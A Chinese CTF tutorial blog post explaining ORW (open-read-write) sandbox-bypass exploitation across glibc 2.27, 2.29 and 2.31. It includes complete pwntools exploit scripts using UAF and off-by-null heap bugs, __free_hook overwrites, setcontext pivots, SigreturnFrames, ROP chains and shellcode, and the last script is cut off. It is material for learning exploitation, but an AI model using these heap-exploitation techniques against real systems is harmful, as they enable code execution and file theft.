【八芒星计划】 ORW

24 篇文章 1 订阅

本篇用来记录ORW,ORW可以分为2.27以下的orw和2.29以上的orw,如果是本地请自备flag文件
orw技术是用来应对沙盒的

oooorder

本题是2.27的orw,漏洞是uaf,漏洞在这里不展开讲,uaf也并不难
2.27的orw既可以使用heap_addr,也可以不要,先讲不需要heap_addr的,毕竟能少泄漏就少泄漏
最重要的是使用了setcontext这个函数,来达成我们控制寄存器的目的
2.27得setcontext:

<setcontext>:     push   rdi
<setcontext+1>:   lea    rsi,[rdi+0x128]
<setcontext+8>:   xor    edx,edx
<setcontext+10>:  mov    edi,0x2
<setcontext+15>:  mov    r10d,0x8
<setcontext+21>:  mov    eax,0xe
<setcontext+26>:  syscall 
<setcontext+28>:  pop    rdi
<setcontext+29>:  cmp    rax,0xfffffffffffff001
<setcontext+35>:  jae    0x7ffff7a7d520 <setcontext+128>
<setcontext+37>:  mov    rcx,QWORD PTR [rdi+0xe0]
<setcontext+44>:  fldenv [rcx]
<setcontext+46>:  ldmxcsr DWORD PTR [rdi+0x1c0]
<setcontext+53>:  mov    rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>:  mov    rbx,QWORD PTR [rdi+0x80]
<setcontext+67>:  mov    rbp,QWORD PTR [rdi+0x78]
<setcontext+71>:  mov    r12,QWORD PTR [rdi+0x48]
<setcontext+75>:  mov    r13,QWORD PTR [rdi+0x50]
<setcontext+79>:  mov    r14,QWORD PTR [rdi+0x58]
<setcontext+83>:  mov    r15,QWORD PTR [rdi+0x60]
<setcontext+87>:  mov    rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>:  push   rcx
<setcontext+95>:  mov    rsi,QWORD PTR [rdi+0x70]
<setcontext+99>:  mov    rdx,QWORD PTR [rdi+0x88]
<setcontext+106>: mov    rcx,QWORD PTR [rdi+0x98]
<setcontext+113>: mov    r8,QWORD PTR [rdi+0x28]
<setcontext+117>: mov    r9,QWORD PTR [rdi+0x30]
<setcontext+121>: mov    rdi,QWORD PTR [rdi+0x68]
<setcontext+125>: xor    eax,eax
<setcontext+127>: ret    
<setcontext+128>: mov    rcx,QWORD PTR [rip+0x356951]        # 0x7ffff7dd3e78
<setcontext+135>: neg    eax
<setcontext+137>: mov    DWORD PTR fs:[rcx],eax
<setcontext+140>: or     rax,0xffffffffffffffff
<setcontext+144>: ret

其作用是用户上下文的设置,所以我们在可以小范围控制执行流已知libc_base但不足以完成我们的目标时可以先跳setcontext+53来扩大控制范围。

非常好用,可以直接控制大部分寄存器和执行流。

注意:[rdi+0xa8](被弹到rcx的那个地址)对应的是 frame 框架的 rip 。

接下来开始分析:

free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext'] + 53
#--------------------------------------------------------------------------------------------------------
vul(8)
vul(8)
add(0x18, p64(free_hook))
add(0x18, p64(setcontext))

修改free_hook为setcontext+53,为什么是53呢

至于为什么要跳到 setcontext+53 这个位置。因为fldenv
[rcx]指令会造成程序执行的时候直接crash,所以要避开这个指令。

注意:要构造好rsp的值,因为有 push rcx 指令,如果rsp指向的内存不可访问,则会crash。

syscall=libc_base+libc.search(asm("syscall\nret")).next()
print(hex(syscall))
frame = SigreturnFrame()
frame.rax=0          #调用read
frame.rdi=0          #参数1     fd 0就是标准输入
frame.rsi=free_hook&0xfffffffffffff000    #参数2 要往哪里写
frame.rdx=0x2000                          #参数3 写多少字节
frame.rsp=free_hook&0xfffffffffffff000    #执行完之后要跳转的地址
frame.rip=syscall                         #执行什么
p=str(frame)

edit(9,p)                               #随便填充一个chunk
free(9)                                 #用修改的setcontext来触发,从而控制程序

使用 pwntools 的 SigreturnFrame()来构造ucontext_t结构体

layout = [
    libc_base+libc.search(asm("pop rdi\nret")).next(), #: pop rdi; ret;
    free_hook & 0xfffffffffffff000,
    libc_base+libc.search(asm("pop rsi\nret")).next(), #: pop rsi; ret;
    0x2000,
    libc_base+libc.search(asm("pop rdx\nret")).next(), #: pop rdx; ret;
    7,
    libc_base+libc.search(asm("pop rax\nret")).next(), #: pop rax; ret;
    10,
    syscall, #: syscall; ret;
    libc_base+libc.search(asm("jmp rsp")).next(), #: jmp rsp;
]

shellcode = asm('''
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall

cmp eax, 0
js failed

mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall

mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall

jmp exit

failed:
push 0x6c696166
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall

exit:
xor edi, edi
mov eax, 231
syscall
''')
sl(flat(layout) + shellcode)

后面的部分就是往free_hook&0xfffffffffffff000写入mprotect,以及orw的ROP,然后rsp跳转到free_hook&0xfffffffffffff000来执行,就完成了orw
也就是先read往free_hook&0xfffffffffffff000读入mprotect和orw的代码,然后跳转到free_hook&0xfffffffffffff000执行

同时这个方法不用在chunk里布置好flag,也就用不到heap_addr

2.27的orw代码:

free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext'] + 53
#--------------------------------------------------------------------------------------------------------
vul(8)
vul(8)
add(0x18, p64(free_hook))
add(0x18, p64(setcontext))

syscall=libc_base+libc.search(asm("syscall\nret")).next()
print(hex(syscall))
frame = SigreturnFrame()
frame.rax=0
frame.rdi=0
frame.rsi=free_hook&0xfffffffffffff000
frame.rdx=0x2000
frame.rsp=free_hook&0xfffffffffffff000
frame.rip=syscall
p=str(frame)

edit(9,p)
free(9)
layout = [
    libc_base+libc.search(asm("pop rdi\nret")).next(), #: pop rdi; ret;
    free_hook & 0xfffffffffffff000,
    libc_base+libc.search(asm("pop rsi\nret")).next(), #: pop rsi; ret;
    0x2000,
    libc_base+libc.search(asm("pop rdx\nret")).next(), #: pop rdx; ret;
    7,
    libc_base+libc.search(asm("pop rax\nret")).next(), #: pop rax; ret;
    10,
    syscall, #: syscall; ret;
    libc_base+libc.search(asm("jmp rsp")).next(), #: jmp rsp;
]

shellcode = asm('''
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall

cmp eax, 0
js failed

mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall

mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall

jmp exit

failed:
push 0x6c696166
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall

exit:
xor edi, edi
mov eax, 231
syscall
''')
sl(flat(layout) + shellcode)
r.interactive()

完整exp:

from pwn import *
from LibcSearcher import * 

local_file  = './oooorder'
local_libc  = '/root/glibc-all-in-one/libs/2.27/libc-2.27.so'
remote_libc = '/root/glibc-all-in-one/libs/2.27/libc-2.27.so'
 
 
select = 0

if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('121.196.180.65', 10001)
    libc = ELF(remote_libc)

elf = ELF(local_file)

context.log_level = 'debug'
context.arch = elf.arch

se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims 			:r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
o_g = [0x4f2c5, 0x4f322, 0x10a38c]
def debug(cmd=''):
     gdb.attach(r,cmd)

def menu(choice):
    sea('Your choice :\n', str(choice))

def add(size, content):
    menu(1)
    sea('How much is the order?\n', str(size))
    sea('Order notes:\n', content)
    
def edit(index, content):
    menu(2)
    sea('Index of order:\n', str(index))
    sea('Order notes:\n', content)

def vul(index):
    menu(2)
    sea('Index of order:\n', str(index))

def show():
    menu(3)

def free(index):
    menu(4)
    sea('Index of order:\n', str(index))

for i in range(8):
    add(0x98, 'aa')
add(0, '')
add(0x100, 'aa')
for i in range(7, -1, -1):
    free(i)
vul(8)
vul(8)
show()
ru('[8]:')
heap_addr = uu64(rc(6))
info('heap_addr', heap_addr)
heap_base = heap_addr - 0x880
unsorted_heap = heap_base + 0x280
add(0x18, p64(unsorted_heap))
show()
libc_base = uu64(ru('\x7f')[-6:]) - 0x10 - 96 - libc.sym['__malloc_hook']
info('libc_base', libc_base)
free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext'] + 53
#--------------------------------------------------------------------------------------------------------
vul(8)
vul(8)
add(0x18, p64(free_hook))
add(0x18, p64(setcontext))

syscall=libc_base+libc.search(asm("syscall\nret")).next()
print(hex(syscall))
frame = SigreturnFrame()
frame.rax=0
frame.rdi=0
frame.rsi=free_hook&0xfffffffffffff000
frame.rdx=0x2000
frame.rsp=free_hook&0xfffffffffffff000
frame.rip=syscall
p=str(frame)

edit(9,p)
free(9)
layout = [
    libc_base+libc.search(asm("pop rdi\nret")).next(), #: pop rdi; ret;
    free_hook & 0xfffffffffffff000,
    libc_base+libc.search(asm("pop rsi\nret")).next(), #: pop rsi; ret;
    0x2000,
    libc_base+libc.search(asm("pop rdx\nret")).next(), #: pop rdx; ret;
    7,
    libc_base+libc.search(asm("pop rax\nret")).next(), #: pop rax; ret;
    10,
    syscall, #: syscall; ret;
    libc_base+libc.search(asm("jmp rsp")).next(), #: jmp rsp;
]

shellcode = asm('''
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall

cmp eax, 0
js failed

mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall

mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall

jmp exit

failed:
push 0x6c696166
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall

exit:
xor edi, edi
mov eax, 231
syscall
''')
debug()
sl(flat(layout) + shellcode)
r.interactive()

还有一种使用heap_addr的,这种就相对简单,因为要多泄露一个heap_addr

free_hook = libc_base + libc.sym['__free_hook']
gadget = libc_base + libc.sym['setcontext'] + 53
fake_rsp = heap_base + 0x1d80       #找一块heap地址来使用
flag = fake_rsp - 0x10              #填好flag的地址,可以后续找好了再来填
add(0x10, 'aa')#8
add(0, '')#9
add(0x10, 'bb')#10
free(8)
vul(9)
free(9)
free(10)
add(0x10, p64(free_hook))
add(0x10, p64(gadget))

ret = libc_base + 0x00000000000008aa # ret
pop_rdi_ret = libc_base + 0x000000000002155f # pop rdi ; ret
pop_rsi_ret = libc_base + 0x0000000000023e6a # pop rsi ; ret 
pop_rdx_rsi_ret = libc_base + 0x00000000001306d9 # pop rdx ; pop rsi ; ret
pop_rdx_ret = libc_base + 0x0000000000001b96 # pop rdx ; ret

p = 'a'*0xa0 + p64(fake_rsp) + p64(ret) #rsp  rip
p = p.ljust(0xb0, '\x00')
p += './flag\x00\x00'
p += p64(0)
p += p64(pop_rdi_ret) + p64(flag)
p += p64(pop_rsi_ret) + p64(0)
p += p64(libc_base+libc.sym['open'])
p += p64(pop_rdi_ret) + p64(3)
p += p64(pop_rdx_rsi_ret) + p64(0x30) + p64(fake_rsp+0x100)
p += p64(libc_base + libc.sym['read'])
p += p64(pop_rdi_ret) + p64(1)
p += p64(pop_rdx_rsi_ret) + p64(0x30) + p64(fake_rsp+0x100)
p += p64(libc_base + libc.sym['write'])
add(0x400, p)#10
free(10)

大致的思路就是在chunk里布置好orw和flag,然后触发就行0xa0是为了setcontext,参考一下应该就看懂了

完整exp:

from pwn import *
from LibcSearcher import * 

local_file  = './oooorder'
local_libc  = '/root/glibc-all-in-one/libs/2.27/libc-2.27.so'
remote_libc = '/root/glibc-all-in-one/libs/2.27/libc-2.27.so'
 
 
select = 1

if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('121.196.180.65', 10001)
    libc = ELF(remote_libc)

elf = ELF(local_file)

context.log_level = 'debug'
context.arch = elf.arch

se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims 			:r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))

def debug(cmd=''):
     gdb.attach(r,cmd)

def menu(choice):
    sea('Your choice :\n', str(choice))

def add(size, content):
    menu(1)
    sea('How much is the order?\n', str(size))
    sea('Order notes:\n', content)
    
def edit(index, content):
    menu(2)
    sea('Index of order:\n', str(index))
    sea('Order notes:\n', content)

def vul(index):
    menu(2)
    sea('Index of order:\n', str(index))

def show():
    menu(3)

def free(index):
    menu(4)
    sea('Index of order:\n', str(index))

for i in range(8):
    add(0x300, 'aa')
for i in range(7, -1, -1):
    free(i)
for i in range(7):
    add(0x300, '\xe0')
show()
ru('[0]:')
heap_base = uu64(rc(6)) - 0x8e0
info('heap_base', heap_base)
add(0x1f0, '\xa0')
show()
ru('[7]:')
libc_base = uu64(rc(6)) - 608 - 0x10 - libc.sym['__malloc_hook']
info('libc_base', libc_base)
free_hook = libc_base + libc.sym['__free_hook']
gadget = libc_base + libc.sym['setcontext'] + 53
fake_rsp = heap_base + 0x1d80
flag = fake_rsp - 0x10
add(0x10, 'aa')#8
add(0, '')#9
add(0x10, 'bb')#10
free(8)
vul(9)
free(9)
free(10)
add(0x10, p64(free_hook))
add(0x10, p64(gadget))

ret = libc_base + 0x00000000000008aa # ret
pop_rdi_ret = libc_base + 0x000000000002155f # pop rdi ; ret
pop_rsi_ret = libc_base + 0x0000000000023e6a # pop rsi ; ret 
pop_rdx_rsi_ret = libc_base + 0x00000000001306d9 # pop rdx ; pop rsi ; ret
pop_rdx_ret = libc_base + 0x0000000000001b96 # pop rdx ; ret

p = 'a'*0xa0 + p64(fake_rsp) + p64(ret)
p = p.ljust(0xb0, '\x00')
p += './flag\x00\x00'
p += p64(0)
p += p64(pop_rdi_ret) + p64(flag)
p += p64(pop_rsi_ret) + p64(0)
p += p64(libc_base+libc.sym['open'])
p += p64(pop_rdi_ret) + p64(3)
p += p64(pop_rdx_rsi_ret) + p64(0x30) + p64(fake_rsp+0x100)
p += p64(libc_base + libc.sym['read'])
p += p64(pop_rdi_ret) + p64(1)
p += p64(pop_rdx_rsi_ret) + p64(0x30) + p64(fake_rsp+0x100)
p += p64(libc_base + libc.sym['write'])
add(0x400, p)#10
free(10)
#debug()
#sl('1')

r.interactive()

2019-BALSN-CTF-plaintext

本题是2.29的orw
本题的前半部分是2.29的off by null,我在off by null那一篇已经讲过了,这里只介绍orw的部分
关键是劫持rsp到heap上
2.29的orw和2.27的orw的差别就在于setcontext这个函数由rdi变为rdx,所以我们要利用一个gadget来操纵rdx

setcontext这个函数的作用主要是用户上下文的获取和设置,可以利用这个函数直接控制大部分寄存器和执行流
.text:0000000000055E00                 public setcontext ; weak
.text:0000000000055E00 setcontext      proc near ; CODE XREF: .text:000000000005C16C↓p
.text:0000000000055E00                           ; DATA XREF: LOAD:000000000000C6D8↑o
.text:0000000000055E00                 push    rdi
.text:0000000000055E01                 lea     rsi, [rdi+128h]
.text:0000000000055E08                 xor     edx, edx
.text:0000000000055E0A                 mov     edi, 2
.text:0000000000055E0F                 mov     r10d, 8
.text:0000000000055E15                 mov     eax, 0Eh
.text:0000000000055E1A                 syscall                 ; $!
.text:0000000000055E1C                 pop     rdx
.text:0000000000055E1D                 cmp     rax, 0FFFFFFFFFFFFF001h
.text:0000000000055E23                 jnb     short loc_55E80
.text:0000000000055E25                 mov     rcx, [rdx+0E0h]
.text:0000000000055E2C                 fldenv  byte ptr [rcx]
.text:0000000000055E2E                 ldmxcsr dword ptr [rdx+1C0h]
.text:0000000000055E35                 mov     rsp, [rdx+0A0h]
.text:0000000000055E3C                 mov     rbx, [rdx+80h]
.text:0000000000055E43                 mov     rbp, [rdx+78h]
.text:0000000000055E47                 mov     r12, [rdx+48h]
.text:0000000000055E4B                 mov     r13, [rdx+50h]
.text:0000000000055E4F                 mov     r14, [rdx+58h]
.text:0000000000055E53                 mov     r15, [rdx+60h]
.text:0000000000055E57                 mov     rcx, [rdx+0A8h]
.text:0000000000055E5E                 push    rcx
.text:0000000000055E5F                 mov     rsi, [rdx+70h]
.text:0000000000055E63                 mov     rdi, [rdx+68h]
.text:0000000000055E67                 mov     rcx, [rdx+98h]
.text:0000000000055E6E                 mov     r8, [rdx+28h]
.text:0000000000055E72                 mov     r9, [rdx+30h]
.text:0000000000055E76                 mov     rdx, [rdx+88h]
.text:0000000000055E7D                 xor     eax, eax
.text:0000000000055E7F                 retn

使用ropper(ropgadget找不到)找到我们需要的gadget:

ropper -f /root/glibc-all-in-one/libs/2.29/libc-2.29.so --search 'mov rdx'

mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;
在这里插入图片描述
好,我们就要把free_hook改成这个gadget,假设你已经改好了(有阅读过前半部分的话应该没问题)
接下来是2.29和2.27最不一样的部分
这样填写payload

payload = p64(libc_base + libc.symbols['setcontext'] + 0x1d) + p64(heap_addr + 0x1b50) + str_frame[0x10:]

①然后我们调用free后,流程会自动跳转至:

mov rdx, qword ptr [rdi + 8]
mov rax, qword ptr [rdi]
mov rdi, rdx
jmp rax

我们传入的[rdi]是p64(libc.symbols['setcontext'] + 0x1d) + p64(heap_address + 0x1b50)

②那么我们执行到jmp rax时,寄存器状况为rax = libc.symbols['setcontext'] + 0x1d , rdx = heap_address + 0x1b50,程序跳转执行libc.symbols['setcontext'] + 0x1d

③接下来将我们实现布置好的信息转移到对应寄存器内,栈迁移完成。

④最后程序将执行我们的ROP链,利用结束。

(0x1b50就是你的ucontext_t结构体的位置)

那么我们剩下要做的就是布置好SigreturnFrame()构造的ucontext_t结构体,以及后续rop的位置
2.27和2.29一样,都可以不要heap_addr来进行orw,但是2.29不需要heap_addr的话就需要你提前布置到free_hook下方的地址,那样就很麻烦,需要在前面就布置好,不像2.27最后一步可以一条龙
关键就是上面那一句的第二个部分导致无法一条龙,一定要提前填写ucontext_t结构体的位置

payload = p64(libc_base + libc.symbols['setcontext'] + 0x1d) + p64(heap_addr + 0x1b50) + str_frame[0x10:]

后续的就是rop了
orw的代码:

add(0x28, p64(free_hook))
add(0x28, 'a')
add(0x28, 'a')
add(0x28, p64(gadget))

frame = SigreturnFrame()
frame.rdi = heap_addr + 0x1b50 + 0x100 + 0x100
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = heap_addr + 0x1b50 + 0x100
frame.rip = libc_base + 0x000000000002535f # : ret
frame.set_regvalue('&fpstate', heap_addr)

str_frame = str(frame)
payload = p64(libc_base + libc.symbols['setcontext'] + 0x1d) + p64(heap_addr + 0x1b50) + str_frame[0x10:]

layout = [
    libc_base + 0x0000000000047cf8, #: pop rax; ret; 
    2,
    # sys_open("./flag", 0)
    libc_base + 0x00000000000cf6c5, #: syscall; ret; 

    libc_base + 0x0000000000026542, #: pop rdi; ret; 
    3, # maybe it is 2
    libc_base + 0x0000000000026f9e, #: pop rsi; ret; 
    heap_addr + 0x10000,
    libc_base + 0x000000000012bda6, #: pop rdx; ret; 
    0x100,
    libc_base + 0x0000000000047cf8, #: pop rax; ret; 
    0,
    # sys_read(flag_fd, heap, 0x100)
    libc_base + 0x00000000000cf6c5, #: syscall; ret; 

    libc_base + 0x0000000000026542, #: pop rdi; ret; 
    1,
    libc_base + 0x0000000000026f9e, #: pop rsi; ret; 
    heap_addr + 0x10000,
    libc_base + 0x000000000012bda6, #: pop rdx; ret; 
    0x100,
    libc_base + 0x0000000000047cf8, #: pop rax; ret; 
    1,
    # sys_write(1, heap, 0x100)
    libc_base + 0x00000000000cf6c5, #: syscall; ret; 

    libc_base + 0x0000000000026542, #: pop rdi; ret; 
    0,
    libc_base + 0x0000000000047cf8, #: pop rax; ret; 
    231,
    # exit(0)
    libc_base + 0x00000000000cf6c5, #: syscall; ret; 
]
payload = payload.ljust(0x100, 'a') + flat(layout)
payload = payload.ljust(0x200, 'a') + './flag'
add(0x1000, payload)
print payload
free(37)

解释一下流程,free之后rax指向libc_base + libc.symbols[‘setcontext’] + 0x1d,rdx指向heap_addr + 0x1b50(结构体的位置),然后后面跟着的就是我们的结构体,然后setcontext弄完结构体,结构体里布置的是open的参数,rip可以理解为要执行的,rsp是执行完之后要去的地址

frame = SigreturnFrame()
frame.rdi = heap_addr + 0x1b50 + 0x100 + 0x100 #第一个参数flag的地址
frame.rsi = 0                                  #第二个参数0
frame.rdx = 0x100
frame.rsp = heap_addr + 0x1b50 + 0x100     #执行完之后要去的地址
frame.rip = libc_base + 0x000000000002535f # : ret
frame.set_regvalue('&fpstate', heap_addr)

后续就是orw的rop
也就是所有的数据都是在heap上的,我们是劫持了rsp到heap上来执行我们的rop

完整exp:

from pwn import *
from LibcSearcher import * 

local_file  = './note'
local_libc  = '/root/glibc-all-in-one/libs/2.29/libc-2.29.so'
remote_libc = '/root/glibc-all-in-one/libs/2.29/libc-2.29.so'
 
select = 0

if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('', )
    libc = ELF(remote_libc)

elf = ELF(local_file)

context.log_level = 'debug'
context.arch = elf.arch

se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims 			:r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
o_g_32 = [0x13e211, 0x13e212]
o_g = [0xe237f, 0xe2383, 0xe2386, 0x106ef8]
def debug(cmd=''):
     gdb.attach(r,cmd)
def menu(ch):
    sea('Choice: ', str(ch))
def add(size, content):
    menu(1)
    sea('size: ', str(size))
    sea('content: ', content)
def free(idx):
    menu(2)
    sea('idx: ', str(idx))
def show(idx):
    menu(3)
    sea('idx: ', str(idx))
for i in range(7):
    add(0x1000, 'aa')#0-6

add(0x1000+0xc00, 'aa')#7
for i in range(7):
    add(0x28, 'aa')#8-14

add(0xb20, 'largebin')#15
add(0x10, 'aa')#16

free(15)
#--------------------------------------------------------------------------------------------------------
add(0x1000, '\n')#15
add(0x28, p64(0) + p64(0x521) + p8(0x50))#17
#--------------------------------------------------------------------------------------------------------
add(0x28, 'a') # 18
add(0x28, 'b') # 19
add(0x28, 'c') # 20
add(0x28, 'd') # 21

for i in range(7):
    free(i+8)

free(20)
free(18)

for i in range(7):
    add(0x28, 'a')

add(0x400, 'a')#18

add(0x28,  p64(0) + p8(0x30))#20
#--------------------------------------------------------------------------------------------------------
add(0x28, 'clear') # 22
for i in range(7):
    free(i+8)
free(19)
free(17)
for i in range(7):
    add(0x28, 'a')
add(0x28, '\x30')#17
#--------------------------------------------------------------------------------------------------------
add(0x28, 'clear')#19
add(0x28, 'aa')#23
add(0x5f8, 'a')#24
add(0x100, 'a')#25
free(23)
add(0x28, "a"*0x20 + p64(0x520))#23
free(24)
#--------------------------------------------------------------------------------------------------------
add(0x40, 'a')#24
show(19)
libc_base = uu64(ru('\x7f')[-6:]) - libc.sym['__malloc_hook'] - 0x10 - 96
info('libc_base', libc_base)
malloc_hook = libc_base + libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
og = libc_base + o_g[1]
gadget = libc_base + 0x12be97
info('gadget', gadget)
info('test', free_hook&0xfffffffffffff000)
add(0x88, 'a')#26
add(0x28, 'a')#27
add(0x28, 'a')#28
free(28)
free(27)
show(18)
heap_addr = uu64(rc(6))
info('heap_addr', heap_addr)
for i in range(9):
    add(0x28, 'a')
for i in range(7):
    free(i+29)
free(27)
free(28)
free(18)
for i in range(7):
    add(0x28, 'a')
add(0x28, p64(free_hook))
add(0x28, 'a')
add(0x28, 'a')
add(0x28, p64(gadget))

frame = SigreturnFrame()
frame.rdi = heap_addr + 0x1b50 + 0x100 + 0x100
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = heap_addr + 0x1b50 + 0x100
frame.rip = libc_base + 0x000000000002535f # : ret
frame.set_regvalue('&fpstate', heap_addr)

str_frame = str(frame)
payload = p64(libc_base + libc.symbols['setcontext'] + 0x1d) + p64(heap_addr + 0x1b50) + str_frame[0x10:]

layout = [
    libc_base + 0x0000000000047cf8, #: pop rax; ret; 
    2,
    # sys_open("./flag", 0)
    libc_base + 0x00000000000cf6c5, #: syscall; ret; 

    libc_base + 0x0000000000026542, #: pop rdi; ret; 
    3, # maybe it is 2
    libc_base + 0x0000000000026f9e, #: pop rsi; ret; 
    heap_addr + 0x10000,
    libc_base + 0x000000000012bda6, #: pop rdx; ret; 
    0x100,
    libc_base + 0x0000000000047cf8, #: pop rax; ret; 
    0,
    # sys_read(flag_fd, heap, 0x100)
    libc_base + 0x00000000000cf6c5, #: syscall; ret; 

    libc_base + 0x0000000000026542, #: pop rdi; ret; 
    1,
    libc_base + 0x0000000000026f9e, #: pop rsi; ret; 
    heap_addr + 0x10000,
    libc_base + 0x000000000012bda6, #: pop rdx; ret; 
    0x100,
    libc_base + 0x0000000000047cf8, #: pop rax; ret; 
    1,
    # sys_write(1, heap, 0x100)
    libc_base + 0x00000000000cf6c5, #: syscall; ret; 

    libc_base + 0x0000000000026542, #: pop rdi; ret; 
    0,
    libc_base + 0x0000000000047cf8, #: pop rax; ret; 
    231,
    # exit(0)
    libc_base + 0x00000000000cf6c5, #: syscall; ret; 
]
payload = payload.ljust(0x100, 'a') + flat(layout)
payload = payload.ljust(0x200, 'a') + './flag'
add(0x1000, payload)
print payload
free(37)
#debug()
#sl('1')
r.interactive()

YCB easy_heap

2.31的off by null,发生在edit里,和2.29的差不多
具体讲一下orw的部分

2.31下的gadget和2.29的不一样

ropper -f /root/glibc-all-in-one/libs/2.31/libc-2.31.so --search 'mov rdx'
0x0000000000154890#mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; 

解释一下,就是在rdi+8那里放frame的addr,frame的0x20个字节后放setcontext,具体的可以自己调试

 

基本准备:

libc_base = uu64(ru('\x7f')[-6:]) - libc.sym['__malloc_hook'] - 96 - 0x10
info('libc_base', libc_base)
gadget = libc_base + 0x0000000000154890#mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; 
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
IO_stdin = libc_base +  libc.sym['_IO_2_1_stdin_']
setcontext = libc_base + libc.sym['setcontext'] + 61
frame_addr = libc_base + libc.sym['_IO_2_1_stdin_'] + 0xe0
str_jumps = libc_base + 0x1ed560
pop_rdi = libc_base + 0x0000000000026b72 # pop rdi ; ret
pop_rsi = libc_base + 0x0000000000027529 # pop rsi ; ret
pop_rdx = libc_base + 0x000000000011c241 # pop rdx ; pop r12 ; ret
pop_rax = libc_base + 0x000000000004a5b0 # pop rax ; ret
syscall = libc_base+libc.search(asm("syscall\nret")).next()
ret = libc_base + 0x0000000000025679 # ret
Open = libc_base + libc.sym['open']
Read = libc_base + libc.sym['read']
Puts = libc_base + libc.sym['puts']
Write = libc_base + libc.sym['write']

泄漏heap地址,自己找几个空的位置写flag,orw和frame

add(0x28)#22
add(0x28)#23
add(0x28)#24
add(0x28)#25
add(0x28)#26
for i in range(7):
    free(i+4)
free(26)
free(25)
for i in range(7):
    add(0x28)
show(17)
rc(9)
heap_addr = uu64(rc(6)) + 0xa60
heap_orw = heap_addr + 0x20
flag = heap_addr - 0xae0
frame_addr = heap_addr - 0x48e0
info('heap_addr', heap_addr)
info('flag', flag)
info('heap_orw', heap_orw)

 

add(0x28)#25
add(0x28)#26
for i in range(7):
    free(i+4)
free(22)
for i in range(7):
    add(0x28)
edit(16, p64(free_hook-0x10))
add(0x28)#22
add(0x28)#27
edit(27, p64(gadget))
edit(23, './flag\x00\x00')

frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = heap_orw
frame.rdx = 0x1000
frame.rsp = heap_orw
frame.rip = syscall
str_frame = str(frame)

p = p64(0)*4+p64(setcontext)
edit(0, p+str_frame[0x28:])

p = p64(0) + p64(frame_addr)

p2 = p64(pop_rdi) + p64(flag) + p64(pop_rsi) + p64(0)
p2 += p64(Open)
p2 += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_addr) + p64(pop_rdx) + p64(0x200) + p64(0)
p2 += p64(Read)
p2 += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_addr) + p64(pop_rdx) + p64(0x200) + p64(0)
p2 += p64(Write)

edit(11, p)
debug()
free(11)
sl(p2)
#debug()
#sl('1')

r.interactive()

为什么可以不用mprotect,直接orw,因为这是在libc上进行的,而libc这段是可执行段
在这里插入图片描述
在这里插入图片描述
gadget触发,执行frame,达成read,read读入orw到heap上,然后frame的rsp跳转到orw的地址,执行orw,完成,记得提前布置好flag和frame的位置
 
完整exp:

from pwn import *
from LibcSearcher import * 

local_file  = './main'
local_libc  = '/root/glibc-all-in-one/libs/2.31/libc-2.31.so'
remote_libc = '/root/glibc-all-in-one/libs/2.31/libc-2.31.so'
 
 
select = 0

if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('', )
    libc = ELF(remote_libc)

